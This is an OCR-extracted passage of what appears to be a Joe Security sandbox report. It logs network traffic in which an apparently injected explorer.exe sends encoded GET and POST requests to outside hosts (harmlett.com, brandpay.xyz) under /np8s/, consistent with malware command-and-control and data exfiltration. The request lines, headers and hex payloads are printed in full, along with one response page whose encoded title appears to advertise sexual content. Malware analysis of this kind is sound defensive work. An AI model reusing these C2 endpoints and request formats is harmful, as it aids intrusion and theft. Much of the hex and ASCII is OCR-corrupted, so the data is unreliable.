52 2d 38 55 73 62 65 6¢ 4c 4a 5a 50 72 72 6f 6a 71 52 57 73 7e 4d 46 47 62 6b 38 54 41 76 67 79 71 31 43 58 62 42 45
50 63 61 76 57 69 3535 77 74 64 76 56 6b 38 78 61 36 4d 45 72 69 41 6¢ 35 59 78 30 64 67 75 48 54 36 37 28 53 43 44
41 4a 53 70 62 72 6¢ 53 74 6d 31 44 42 65 44 54 53 63 55 65 67 35 54 33 35 2d 4e 4a 48 51 41 7a 39 58 68 32 53 43 4f
68 59 73 45 48 6d 5f 71 4a 6b 59 7e 38 43 57 79 66 31 48 42 61 5a 30 4c 61 4e 45 66 55 32 4f 28 44 28 74 54 47 34 34
63 68 7a 35 68 74 33 51 7a 51 61 6f 6a 36 62 59 74 4c 52 66 66 31 77 2d 39 44 6f 50 58 49 7a 73 53 5a 4d 78 70 63 33
58 43 4e 75 44 49 30 50 49 51 4b 68 43 49 33 63 5a 4e 43 7a 62 72 31 51 77 79 47 6e 31 57 61 4d 78 75 5f 69 59 55 4f
5950735374 4c72304d 77 7e 38 28 41 4b 71 46 67 71 48 4a 4e 52 73 46 6a 54 39 5a 46 31 38 4d 33 30 67 39 2d 39
4b 69 79 65 6¢ 6b 54 7e 66 65 74 76 63 61 75 7a 53 6d 4c 43 55 57 41 37 6f 72 44 63 41 7e 43 6d 4f 4d 49 6d 38 35 63 7
a 3061 37 335347 50 58 5f 48 66 39 46 6f 63 50 2d 59 6b 72 61 28 71 35 77 4c 59 78 54 6f 78 70 6e 75 45 4e 76 48 72
42 58 4d 62 4e 73 56 67 57 6e 7a 35 4a 63 53 65 38 45 47 6¢ 38 4f 31 39 6b 6e 49 35 72 54 34 66 37 39 56 6e 72 69 31
55 4b 5a 33 52 41 64 4c 5a 4c 5a 63 2d 7a 6f 73 56 6¢ 47 6b 53 53 54 34 47 61 37 46 59 6d 59 52 59 42 73 53 6d 49 42
6353 72 71 46 53 78 4c 4b 5a 63 63 28 34 6f 38 33 6e 70 56 50 6d 76 54 43 4e 47 6d 69 56 64 39 38 68 75 4a 36 52 4a
7437 4e 46 31 46 70 4a 48 71 73 41 63 71 73 39 41 44 6f 4a 31 61 52 49 79 53 33 56 42 58 43 64 6e 67 7a 35 43 56 61
4a 63 4c 55 77 4a 68 6¢ 57 63 38 38 56 53 41 39 34 75 33 78 75 79 50 67 64 52 46 69 73 42 63 6f 59 44 79 79 67 79 49
53433659 34 70 77 69 39 30 66 71 4d 64 56 43 37 44 45 41 74 53 78 70 49 58 6f 77 64 6¢ 77 49 4d 55 6b 30 6f 6b 42
42 5f 69 72 34 41 63 50 52 7a 52 64 4e 56 6a 64 31 77 54 44 4d 31 51 79 28 57 35 67 6d 4d 51 54 53 56 46 5a 4e 68 61
63 66 6f 54 7a 39 76 75 63 59 55 56 6b 4c 4f 5a 6e 51 5a 48 56 55 4e 49 47 73 77 68 61 4d 65 50 43 32 63 77 2d 55 63
6f 63 77 59 30 35 73 58 76 32 72 53 73 6a 6b 2d 49 72 53 4e 69 49 47 34 62 48 61 33 56 70 72 5a 31 63 37 5f 43 6e 33
57 49 67 53 6d 42 38 48 37 54 58 6a 64 6d 4d 32 63 46 46 34 64 6f 4¢c 67 6¢ 4e 6d 47 63 47 2d 5a 4a 35 4f 65 5f 66 63 57
54 55 4a 4a 5a 46 49 51 6f 4b 72 79 48 35 70 71 6e 4c 64 74 78 46 6d 6a 4d 38 33 42 52 36 63 6f 46 4e 65 6a 54 78 51 7
7 64 68 6f 54 72 75 6d 28 56 30 73 4c 6e 36 78 63 38 41 4a 57 47 49 4a 72 51 34 54 4c 68 4d 54 70 54 50 6e 4d 39 4e 34
38 68 56 56 4a 5f 30 5f 77 63 74 4e 54 72 7e 57 35 71 57 49 33 4a 58 6b 31 35 5a 53 52 4c 4¢ 72 66 39 37 48 68 71 71
67 34 57 46 4c 69 47 45 72 47 68 45 77 4e 51 39 65 36 77 37 77 74 73 41 2d 53 62 4b 59 69 54 42 47 46 35 47 5a 53 64
73 45 42 5a 58 7153 45 51 64 51 67 38 44 28 4a 71 46 32 52 45 68 78 57 4b 66 68 33 38 36 73 74 45 4d 35 51 48 49 62
70 37 63 66 34 6d 76 66 35 49 41 31 54 4f 6b 70 53 4b 47 71 79 48 4b 49 56 6f 48 32 75 51 31 52 77 45 66 54 6b 75 42
333873414a50 733868 4d 79 65 35 71 54 6a 6b 6a 73 33 45 4c 7a 50 65 67 4a 49 5a 58 34 4d 58 75 36 58 68 4d 78
6e 48 38 32 58 6d 63 47 65 73 48 6e 77 70 67 59 76 34 4e 47 66 78 44 68 73 61 67 6¢ 37 77 4d 38 46 7a 63

Data Ascii: 3ftk4oN=1dSGzFnZ14tVqFh2ixzMtSMP35yG(CwQNPBXahJBzwr-Tf7b9EcM6P8DOFu55sxhbbIET_K
2hFWmij(yAD5XqIDoUDR_vi80aKQrgl~Qm961J-Bev18Hnpk8StflyKsLoozPEZ42unwRTczmb6hsUTR5WGsJAMKn4
bOm0zeVO2HZ40ZQO-qgEC2wojSd74IhVLIxyjfZNZzcDHXp8wl1puHAgIO07zR8285Cq9HOfgnf68aF8HIdCBAVIS
aCRsWffUuld_LIxs~TXWz4bmzyDPvrfl6A3-eqw9Vjd-~ghXMwLiegR-8UsbelLJZPrrojgRWs~MFGbk8TAvgyql1CXb
BEPcavWi55wtdvVk8xa6MErAI5YXx0dguHT67(SCDAJSpbriStm1DBeDTScUeg5T35-NJHQAz9Xh2SCOhYsEHmM_qJk
Y~8CWyflHBazZ0LaNEfU20(D(tTG44chz5ht3QzQaoj6bYtLRff1w-9DoPXIzsSZMxpc3XCNuDIOPIQKhCI3cZNCzbr
1QwyGnlWaMxu_iYUOYPsStLrOMw~8(AKqFgqHINRSFT9ZF18M30g9-9KiyelkT~fetvcauzSmLCUWA7orDcA~CmOM
Im85¢z0a73SGPX_Hf9FocP-Ykra(q5wLYxToxpnuENVHrBXMbNsVgWnz5JcSe8EGI8019knI5rT4f79VnrilUKZ3RA
dLZLZc-zosVIGKSST4Ga7FYmYRYBsSmIBcSrgFSxLKZcc(4083npVPmvTCNGmiVd98huJ6RIt7TNF1FpIHgsAcqs9AD
0J1aRlyS3VBXCdngz5CVaJcLUwJhIWc88VSA94u3xuyPgdRFisBcoYDyygylSC6Y4pwid0fqMdVC7DEAtSxplXowd|
wIMUKOokBB_ir4AcPRzRANVjd1wTDM1Qy(W5gmMQTSVFZNhacfoTz9vucYUVKLOZnQZHVUNIGswhaMePC2cw-
UcocwY05sXv2rSsjk-IrSNilG4bHa3Vprz1c7_Cn3WIgSmB8H7TXjdmM2cFF4doLgINmGcG-Z2J50e_fcWTUJIZFIQoKryH5
pgnLdtxFmjM83BR6coFNejTxQwdhoTrum(V0sLn6xc8AIWGIIrQ4TLhMTpTPNMIN48hVVJI_0_wctNTr~W5qWI3JIXk1
5ZSRLLf97Hhqqg4WFLIGErGhEWNQ9ebw7wtsA-SbKYITBGF5GZSdsEBZXqSEQAQg8D(JqF2REhXWKfh386StEM5QH
Ibp7cf4Amvf5IA1TOkpSKGayHKIVoH2uQ1RwWEfTkuB38sAJPs8hMye5qTjkjs3ELzPegJIZX4MXu6XhMxnH82XmcGes
HnwpgYVv4NGfxDhsagl7wM8FzcqeBbfifQ45Y SyY~fnkyJ4OBCihS38-91kcHzOhRMaJNvPI1z(JIMUnJ48JG100kpXd
YzQoAsKyoubORQ26yR13f~7BAGEfC~XD55dK83Rc4JINFUKT_d7M_c7HENf3UWLTtI4wtl6Qeb3txnvrljQwvHIEZe
v3cH6e42w3wPkeVARHOCNKNgShaFgjmuK6oxYLjoYObsuNPFGVA~mCjltWAEKFD1k3uHcemLalVIv7o3eW2ILhWnoU
MhfM2PCT9rzZRmmFxw(7nbCg4iDks07_XvTvWedQpWDIrWvbvQpoB1Spe7~_TPFnR0OpoOprrSx2b4D002MrQDYjfmyD
DXVI5NHO84DMRLSLSYyWvgK1DZEYtoAdgk0JKpgdykMJJ7jQxJOjxhIne2b8cHYAHMQ2N9draPSTQMkVJIIAZNDT7ht2
WijL5s_Zp7LNToTzVV2HcoCoVfM7IgMLBALk4hij8X5ypg7xMwlUm1dmuZ0j-IxYn04fBYJjyHmJcYtg 1HWScqlyl4
u7re5dwBf0zuOmX1XupQhchBaxrjumvohVUiUxUvyQRb70wpt63eJtlYjTjEo9DyUHkKjXikolGolMmzJjrq7FI2Bp
wa8JGOug4wnQzF6WepfiFudfaXFZjwmSAkz~xo2p6apFpZmieuW5WN5rxJJla2lKNRwUT2GdrinbPsOn7Dqu8cAHQ(
2v8aKgNQ9ft7TMuzWZzkCDICG6Hp7aw3NoVT~pISMuxYUp20ESe8PdrFvtybWnpYFmHkHywgglOSC38wiYtaa0SwW-S
F33TT8BUREN8OWMFIw4tl3csqM5FWy-oVdBAXFsehw_SsDkVJsQYqfpahiTEq8A4GGIXvQ8J9dXGbl-xwjHujawber
5g3elsBcTXMEG508C9psKMOL _121L.q4G-a98cPhq3cFLb6Imi7nzHE8PXQDOhHKE7(UKJ2rZhxcZtVNtSgx2yWZ6B(
mic1g~fyUgAdPOOZaB5SFzjygtZLDX_bzqOp_1cTZ03VPy1KVsIMmD77ViQgX2fHsIMUHi-zUDCbaSohmkfv0zASMx
smmOIKKA2KIXLdgcLEIS6dCIEX_pWbYaYby8RT7gR5iDv8C9qGipQX3q5rZUvnACOmMtDPGDDow9P6mrICITWu2WIE3
17ebfJEU_Qm7Sc8A6fReDBou-Y_TjgiR4ANFIRAONWCecX0gRROPrB5ZtRC5m6X82reL SliMalygKQbL~-EgNukQIWT
WFJD1iCgmPECYU9RU(-FJt8Zj~TD1XcBrbolg30eFmauU5NIfsz2aOGJFgI3E9Y 7u0zX3uUsyXAragOEfXORFyUpX4
GpOrr1IxcHiwrhtkzG7P5GURKks-30JauAdlajLxKtwn2nVKJI5UKVj(IT9005IbVKjzhzAhwLWPWKWE4e J2fbEx33Ke
kSWmIDBARfQAVLOJKGcoPkqQn7V631nTM~bRm8jM8X5UvVPYPaApBYe6wZ8XnRHR5R(55g(NED1IZFGEP
ihUt72GhpFgsjz2Y2TeUhlOyX6euSzqaDMdfTid7dZqa5UWGZY SCd35|QDMk3yBDBTUhr6AzeRCcTK-PKKL6gljrTh
RZBRJIn3BIQKkzjs9CNZC5s3Zf52r939kzvNKblvgsjTI3BW(ghXvQ(IC9Y9r0dMINdRDWbRUOEAO_QHbabzm36Q3ZE
GHNQOCUOOXRfisi2pMBEDD6ggDAXDuCzrlfdxBuagDOI2foSWFD1bAENFIWKgIAIWOQr028ZsT6LiArgn~RDUDBOIly
NF8KRGUmMdTzsxe9s6EViIGyGWACTUpCjKPaRbHVmMIY6n94(RPnutOvBtM49ZGjbKj9z7sNTamS74U7RKET4SMsdzeUU
DB2hV4uqzpCsnngsQrKIK3Xt2ve8BGr7odSdbaFmqSzRj9gqUkCeGEcWXMp2EhfXwB1cHyMc06yhUCJIV7mfCOJVrcE
he3gVswgB8JGMJdIk2eTa(oay1UjON1QOpwWiu73T~9blxAPe9Z1CYbAIcT1nkllI6Las8YIhZM(8V89DNnqstG5Lrd
AmX47VDrXCIfRCRSupApFgRVVNBNgj90IKLf3VNoMzKPsQpFOIZUXIYth62MdRZW8y_1EDfJUESUI63Z7cywhalEQ
V5J0Tin4zkEKLtQWmMBN3RZBVghuXJEx1WsYj540W5DSoNOsCORpGQgR7TGhwNSLWY (LAZMWUZ4V~183G
n9Pd6i7NeW6uPTzFOjX2MV91XL65W1etDOB1I8HdrS68HVMy8NSg3AghC310w1gLcIWEEYfmtNpBmfX1Y4Z3kutgE
SXMxVmDibvN3HEGCcKF6S-QMisbXab(DGfénlliJyR9uZM5GsDDUJVOh6oDodYdKh2viHV10Qj3CO1bnRN7_DmI2JHx
YIMEJ4Q7k4D7BB0885YPMyW8dxMMplkHbYaLPuMMBKRQUFggvymexYwrgMKtlOMr6usfuTP6gEFJjghN8S4pfmVisi
G3An9ac8TtAUIGLP3sPnNi3sPSMMw38WOAPh(tzJf3t2JzBbgO4ZCGdk-cCky4ZcNevS88qHoH87N8bHyouSKkE3Cv384-
Att2tTiFPG4BithNEMSHTyxx1XuOBeGv1HTwt_y7TWr3(htiRiCefgEJD1GsxAx8GtzZWIiyNK9AGYyQ13BvuB5qZ
X~pBEKPTsnK92~04i(uUGGV4ATEM2YtdoBRE500XZx65YhKg~G5xp0LVcpHRAIPIVFmMq7
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Session ID Source IP Source Port

6 192.168.2.6 49785
kB!
Timestamp ytes Direction
transferred
May 27, 2022 212 ouT
19:05:18.677378893
CEST
May 27, 2022 214 IN
19:05:18.885631084
CEST
Session ID Source IP Source Port
7 192.168.2.6 49788
Timestamp L Direction
transferred

Copyright Joe Security LLC 2022

Destination IP Destination Port Process
23.19.171.24 80 C:\Windows\explorer.exe
Data

GET /np8s/?3fk4doN=Hfm8tjP++bF99H8YixudyiAA2pucxCUNYZIpJGNk6F/7VNXQ3kF60glcnnPYkdM2cMsNINi8
7w==&Eh=mhUx| HTTP/1.1

Host: www.harmlett.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 200 OK

Date: Fri, 27 May 2022 17:05:19 GMT

Content-Length: 1783

Content-Type: text/html

Server: nginx

Data Raw: 3c 68 74 6d 6¢ 20 78 6d 6¢ 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f
78 68 74 6d 6¢ 22 3e 0d Oa 3c 68 65 61 64 3e 0d Oa 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 74 69 74 6¢ 65
3d 27 bf a6 ca b2 c3 b5 bf b2 ce ef c1 {7 d3 d0 cf de b9 ab cb be 27 3b 3c 2f 73 63 72 69 70 74 3e 0d Oa 3c 74 69 74 6¢
65 3e 26 23 32 39 33 30 35 3b 26 23 34 30 36 34 34 3b 26 23 32 34 36 31 35 3b 26 23 32 36 32 39 32 3b 26 23 32 31 31
34 37 3b 26 23 32 34 33 37 38 3b 26 23 32 32 39 30 33 3b 26 23 32 32 33 31 32 3b 26 23 33 32 34 34 37 3b 26 23 32 35
37 37 33 3b 26 23 32 35 39 31 38 3b 2c 26 23 33 30 30 30 37 3b 26 23 32 31 35 31 36 3b 26 23 32 36 37 30 30 3b 26 23
3235323236 3b 26 23 32 35 31 30 35 3b 26 23 33 33 31 35 31 3b 26 23 32 35 31 37 31 3b 26 23 32 34 33 32 30 3b 26
23323537 32 303b 2623 32 31 30 34 30 3b 26 23 33 39 36 34 30 3b 26 23 32 38 35 32 36 3b 2c 26 23 32 30 31 33 32
3b 26 23 32 35 34 34 32 3b 26 23 32 39 36 30 39 3b 26 23 32 34 33 32 34 3b 26 23 32 30 30 30 34 3b 26 23 32 30 30 31
30 3b 26 23 33 32 36 35 34 3b 26 23 32 32 39 31 39 3b 26 23 32 35 39 34 35 3b 26 23 32 34 30 37 32 3b 2c 26 23 32 30
383531 3b 26 23 32 36 31 39 35 3b 26 23 32 34 34 32 30 3b 26 23 33 36 39 37 33 3b 26 23 32 34 33 37 38 3b 26 23 33
39 36 34 30 3b 26 23 32 38 35 32 36 3b 26 23 32 34 33 32 30 3b 26 23 32 31 34 35 32 3b 26 23 33 33 31 35 31 3b 3c 2f
74 69 74 6¢ 65 3e 0d Oa 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22
26 23 32 39 33 30 35 3b 26 23 34 30 36 34 34 3b 26 23 32 34 36 31 35 3b 26 23 32 36 32 39 32 3b 26 23 32 31 31 34 37
3b 26 23 32 34 33 37 38 3b 26 23 32 32 39 30 33 3b 26 23 32 32 33 31 32 3b 26 23 33 32 34 34 37 3b 26 23 32 35 37 37
33 3b 26 23 32 35 39 31 38 3b 2c 26 23 33 30 30 30 37 3b 26 23 32 31 35 31 36 3b 26 23 32 36 37 30 30 3b 26 23 32 35
3232 36 3b 26 23 32 35 31 30 35 3b 26 23 33 33 31 35 31 3b 26 23 32 35 31 37 31 3b 26 23 32 34 33 32 30 3b 26 23 32
35 37 32 30 3b 26 23 32 31 30 34 30 3b 26 23 33 39 36 34 30 3b 26 23 32 38 35 32 36 3b 2c 26 23 32 30 31 33 32 3b 26
233235 34 34 32 3b 26 23 32 39 36 30 39 3b 26 23 32 34 33 32 34 3b 26 23 32 30 30 30 34 3b 26 23 32 30 30 31 30 3b
26 23 33 32 36 35 34 3b 26 23 32 32 39 31 39 3b 26 23 32 35 39 34 35 3b 26 23 32 34 30 37 32 3b 2c 26 23 32 30 38 35
31 3b 26 23 32 36 31 39 35 3b 26 23 32 34 34 32 30 3b 26 23 33 36 39 37 33 3b 26 23 32 34 33 37 38 3b 26 23 33 39 36
34 30 3b 26 23 32 38 35 32 36 3b 26 23 32 34 33 32 30 3b 26 23 32 31 34 35 32 3b 26 23 33 33 31 35 31 3b 22 20 2f 3e
0d Oa 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 26 23 32
39 333035 3b 26 23 34 30 36 34 34 3b 26 23 32 34 36 31 35 3b 26 23 32 36 32 39 32 3b 26 23 32 31 31 34 37 3b 26 23
3234 33 37 38 3b 26 23 32 32 39 30 33 3b 26 23 32 32 33 31 32 3b 26 23 33 32 34 34 37 3b 26 23 32 35 37 37 33 3b 26
2332353931 38 3b 2c 26 23 33 30 30 30 37 3b 26 23 32 31 35 31 36 3b 26 23 32 36 37 30 30 3b 26 23 32 35 32 32 36
3b 26 23 32 35 31 30 35 3b 26 23 33 33 31 35 31 3b 26 23 32 35 31 37 31 3b 26 23 32 34 33 32 30 3b 26 23 32 35 37 32
30 3b 26 23 32 31 30 34 30 3b 26 23 33 39 36 34 30 3b 26 23 32 38 35 32 36 3b 2c 26 23 32 30 31 33 32 3b 26 23 32 35
34 34 32 3b 26 23 32 39 36 30 39 3b 26 23 32 34 33 32 34 3b 26 23 32 30 30 30 34 3b 26 23 32 30 30 31 30 3b 26 23 33
32 36 35 34 3b 26 23 32 32 39 31 39 3b 26 23 32 35 39 34 35 3b 26 23 32 34 30 37 32 3b 2c 26 23 32 30 38 35 31 3b 26
233236 31 39 35 3b 26 23 32 34 34 32 30 3b 26 23 33 36 39 37 33 3b 26 23 32 34 33 37 38 3b 26 23 33 39 36 34 30 3b
26 23 32 38 35 32 36 3b 26 23 32 34 33

Data Ascii: <html xmIns="http://www.w3.0rg/1999/xhtml"><head><script>document.title=";</script><title>&#29305

1 &#A0644;8#24615;8#26292;&#21147;8#24378;&#22903;&#22312;&#32447;8#25773;&#25918;,&#30007;&#21516;&#
26700;&#25226;&#25105;8#33151;&#25171;&#24320;&#25720;&#21040;8#39640;&#28526;,&#20132;&#25442;&#296
09;&#24324;&#20004;8#20010;8&#32654;&#22919;&#25945;8#24072;,&#20851;8#26195;8#24420;8#36973;&#24378;
&#39640;&8#28526;8#24320;8#21452;&#33151;</title><meta name="keywords" content="&#29305;&#40644;&#246
15;8#26292;&#21147;&#24378,&#22903;8#22312;&#32447,&#25773;&#25918;,&#30007;8#21516;&#26700;&#25226;
&#25105;&#33151;8#25171;&#24320;&#25720;&#21040;&#39640;8#28526;,&#20132;&#25442;&#29609;8#24324;&#2
0004;&#20010;&#32654;8#22919;&#25945,&#24072;,&#20851;&#26195;&#24420;&#36973;8#24378;&#39640;8#2852
6;&#24320;&#21452;&#33151;" /><meta name="description" content="&#29305;&#40644;&#24615;8#26292;8#21
147,8#24378;8#22903;&#22312;&#32447;&#25773,&#25918;,&#30007;8#21516;&#26700;&#25226;&#25105;&8#33151

1 &#25171;8#24320;8#25720;&#21040;8#39640;8#28526;,&#20132;8#25442;&#29609;8#24324;&#20004;8&#20010;&#
32654;&#22919;8#25945;8#24072;,&#20851;8#26195;&#24420;&#36973;&#24378;8#39640;8#28526;&#243

Destination IP Destination Port Process
3.64.163.50 80 C:\Windows\explorer.exe
Data
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kBytes

Timestamp transferred Direction
May 27, 2022 217 ouT
19:05:23.985721111
CEST
May 27, 2022 217 IN
19:05:24.007113934
CEST
Session ID Source IP Source Port
8 192.168.2.6 49789

. kBytes . .
Tim m Direction

Estamp transferred ECto

May 27, 2022 230 ouT
19:05:24.007847071
CEST

Copyright Joe Security LLC 2022

Data

POST /np8s/ HTTP/1.1

Host: www.brandpay.xyz

Connection: close

Content-Length: 416

Cache-Control: no-cache

Origin: http://www.brandpay.xyz

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.brandpay.xyz/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 33 66 6b 34 6f 4e 3d 75 69 30 6d 56 38 72 6a 53 34 52 34 67 33 36 53 48 4a 55 72 31 71 39 55 78 4e 73 4a
65 61 6a 30 68 6f 58 49 76 39 48 79 54 46 62 4a 31 44 53 4b 6d 79 38 56 56 63 75 55 78 62 4e 57 7e 67 4c 48 64 78 54
30 28 72 48 34 4e 58 35 56 6¢ 58 62 5a 42 69 74 34 37 2d 76 6e 44 45 41 57 43 77 50 4b 44 4f 28 67 74 65 48 71 37 56
6f 79 6a 4d 35 45 70 38 68 6f 33 33 7a 62 62 76 45 61 45 2d 42 70 45 36 69 39 48 2d 42 44 6b 74 6e 5f 4¢c 66 46 68 70
76 31 77 4c 73 62 6a 43 61 43 51 4c 5a 4e 4f 43 64 5a 6¢ 63 44 71 52 55 41 43 43 58 6a 4e 41 52 7a 63 64 35 54 6e 39
4e 37 4c 41 5a 44 63 39 62 47 34 6b 6b 43 4d 74 4¢c 76 35 61 67 70 4f 79 42 77 39 45 72 43 68 58 33 46 75 61 54 41 36
52 33 45 37 4b 50 41 57 68 54 37 31 6e 6b 4c 4c 69 6f 35 48 54 49 64 78 2d 4c 63 76 39 48 30 53 6f 74 31 39 4c 4f 61 62
324877 4951 337437 36 44 6f 77 64 43 58 42 58 47 76 33 49 59 30 36 76 38 77 4b 39 72 6e 32 76 66 41 71 7a 57 71
75 67 6a 6b 63 4e 32 5a 50 74 45 67 54 4f 53 56 37 34 6f 2d 64 4a 49 43 33 61 5a 74 4f 76 6d 64 52 37 53 6e 50 62 52
36 4d 5f 7e 44 56 73 32 43 74 59 52 52 31 4¢ 52 36 44 61 75 68 4e 36 71 56 56 31 31 31 52 38 61 33 47 46 49 4d 28 78
79 72 6f 77 79 54 68 4c 28 61 79 65 70 4f 61 74 37 30 64 6a 65 70 38 4f 48 77 51 2e 00 00 00 00 00 00 00 00

Data Ascii: 3fk4oN=uiOmV8rjS4R4g36SHJUr1g9UxNsJeajohoXIvOHyTFbJ1DSKmy8VVcuUxbNW~gLHAXTO(rH
4ANX5VIXbZBit47-vnDEAWCWPKDO(gteHq7VoyjM5Ep8ho33zbbvEaE-BpE6Gi9H-BDkin_LfFhpviwlsbjCaCQLZNOC
dZIcDgRUACCXjNARzcd5TnIN7LAZDcObG4kkCMtLV5agpOyBwWOErChX3FuaTABR3E7KPAWIT71nKLLio5HTIdX-Lev
9HOS0t19LOab2HwWIQ3t76 DowdCXBXGVv3IY06v8wKIrn2vfAqzWaqugjkcN2ZPtEgTOSV740-dJIC3aZtOvmdR7SnPbR
6M_~DVs2CtYRR1LR6DauhN6qVV111R8a3GFIM(xyrowyThL(ayepOat70djep8OHWQ.

HTTP/1.1 410 Gone

Server: openresty

Date: Fri, 27 May 2022 17:05:23 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Data Raw: 37 0d Oa 3c 68 74 6d 6¢ 3e Oa 0d Oa 39 0d Oa 20 20 3c 68 65 61 64 3e Oa 0d Oa 34 63 0d Oa 20 20 20 20 3c
6d 6574 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 72 65 66 72 65 73 68 27 20 63 6f 6e 74 65 6e 74 3d 27 30 3b 20 75
72 6¢ 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 62 72 61 6e 64 70 61 79 2e 78 79 7a 2f 27 20 2f 3e 0a 0d Oa 61 0d Oa 20 20 3c
2f 68 65 61 64 3e Oa 0d Oa 38 0d Oa 3c 2f 68 74 6d 6¢ 3e Oa 0d Oa 30 0d Oa 0d Oa

Data Ascii: 7<html>9 <head>4c <meta http-equiv="refresh’ content="0; url=http://www.brandpay.xyz/' />a </head>8</ht
mi>0

Destination IP  Destination Port Process
3.64.163.50 80 C:\Windows\explorer.exe
Data

POST /np8s/ HTTP/1.1

Host: www.brandpay.xyz

Connection: close

Content-Length: 36488

Cache-Control: no-cache

Origin: http://www.brandpay.xyz

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.brandpay.xyz/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 33 66 6b 34 6f 4e 3d 75 69 30 6d 56 34 71 36 63 6f 39 62 71 48 48 79 4b 61 6¢ 79 39 2d 42 53 39 64 6f 61 43
7579 30 6d 63 61 78 73 49 37 68 43 30 6a 54 7e 54 4f 6e 69 7a 6b 7a 56 5a 53 74 38 4a 70 61 35 46 54 45 64 78 4c 57
28 7148 34 4d 55 35 46 69 78 4b 32 42 41 31 37 34 65 76 62 43 45 41 31 56 69 37 6a 44 4f 37 43 74 65 50 36 34 6d 38
79 6a 76 42 45 67 62 4e 33 6f 48 7a 42 53 4c 6f 38 4a 65 4e 30 45 36 4b 6¢ 48 38 56 44 6¢ 64 72 5f 4c 38 64 2d 38 38 74
3343 63 62 36 48 61 44 4f 46 4a 52 43 43 64 73 41 63 42 4f 52 58 32 36 43 57 79 74 41 55 45 4a 4c 78 44 6e 34 48 62 4
C 47 49 7a 51 73 62 47 4d 57 6b 48 31 53 4d 64 6¢ 61 68 5a 4f 7a 46 6d 39 39 36 42 49 56 31 45 61 39 54 41 47 38 33
56 57 4e 50 42 4b 4e 54 49 63 52 72 4e 66 59 6f 37 71 4f 4f 39 78 36 4d 73 76 6d 48 30 54 41 74 31 38 6f 4f 61 72 32 48
337351 6¢ 63 4c 36 47 59 77 61 66 48 42 59 4d 50 33 58 63 30 33 65 38 77 69 74 72 6a 69 42 59 32 7e 7a 55 2d 47 67
32 56 63 4d 6a 3550 76 5a 51 54 69 66 31 37 37 6f 2d 63 65 49 48 62 30 59 63 53 76 6e 49 39 37 65 6¢ 58 62 43 36 4d
5f 37 44 56 75 39 69 68 49 52 51 52 50 52 37 7a 6b 75 53 68 36 6b 6b 31 31 31 57 4a 38 63 48 47 46 41 73 7e 7a 39 62
56 4b 32 69 34 74 38 72 71 50 31 64 43 4f 34 6a 31 70 45 59 63 4b 66 57 32 31 78 6f 72 7a 51 6a 52 2d 6a 7a 47 35 52
38 6e 78 73 74 77 4d 4a 5a 59 55 54 4a 4c 77 67 48 56 4f 64 4b 52 42 4e 52 66 48 78 74 6e 4e 69 7a 36 66 4c 44 63 54
3574 41 36 39 42 77 58 39 46 4d 4c 31 43 52 33 43 64 6b 51 7a 6f 75 58 74 57 63 67 78 44 49 4b 4c 6e 4c 4e 42 55 6a
42583265 78 76 73 78 62 56 62 64 57 70 78 42 77 6f 59 43 53 54 44 7e 35 31 59 53 2d 50 6d 61 53 64 6f 49 46 67 54
37 47 4d 56 6a 46 68 59 67 69 43 68 59 72 5a 50 70 4f 4f 6d 53 33 4e 31 39 64 42 33 6f 69 6¢ 50 4e 32 43 47 39 47 6d
4b 31 48 68 35 61 41 6b 32 63 6¢ 6b 52 5a 74 6¢ 6b 67 41 64 31 37 4a 35 79 42 5a 39 4e 5a 71 68 42 39 65 48 42 77 6 6
736 7a 51 44 70 33 38 6f 45 33 59 44 6e 77 37 6f 74 42 4c 4e 6d 58 31 4c 4a 71 61 33 73 6e 33 6b 4a 62 41 69 51 76 6a
46 68 39 5f 6e 4b 67 4b 51 76 6d 2d 62 72 34 6¢ 65 61 30 62 70 67 33 6b 68 55 53 5f 41 63 4e 4f 45 50 56 7a 28 59 33
68 51 37 42 61 65 75 35 76 76 51 44 4a 70 73 6d 2d 58 6e 6f 7a 44 57 77 42 79 6¢ 38 34 43 47 4e 43 66 32 66 63 36 56
3046 65 71 77 6e 38 39 46 4a 32 53 37 73 65 58 68 7a 4c 72 7551 37 78 56 77 32 5a 36 4d 73 73 54 57 4c 5a 47 74 49
37 4f 78 39 66 35 37 33 4e 73 68 4e 61 37 55 49 52 7a 42 68 6¢ 48 57 4a 4c 45 56 6e 31 43 5f 44 6e 59 55 6f 6a 7a 37
4e 36 39 52 72 6f 4a 79 28 35 33 54 79 50 37 70 48 42 32 4¢c 30 38 28 48 4a 75 75 67 31 46 48 79 6f 61 41 4b 4a 4f 28 62
4153 6¢ 79 75 37 43 52 65 50 46 48 7a 43 47 62 4f 4c 61 59 50 32 49 79 59 50 6b 76 61 52 76 57 47 66 6f 53 49 47 6a
78 6e 30 6¢ 4a 62 6e 70 46 47 58 31 5a 70 68 41 6¢ 68 66 5a 67 68 51 50 32 31 64 62 63 4d 4d 31 5f 4b 51 70 6f 48 77
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Timestam e
P transferred

May 27, 2022 234
19:05:24.029613018
CEST
Session ID Source IP
9 192.168.2.6

. kBytes
Timestamp transferred
May 27, 2022 255
19:05:24.029908895
CEST

Copyright Joe Security LLC 2022

Direction

Source Port

49790

Direction

ouT

55 7a4e 7241426369 7067 4e 33 69 62 31 37 5a 52 4e 4b 45 39 57 68 5a 50 42 62 59 67 38 47 74 69 43 6a 6b 46 6a
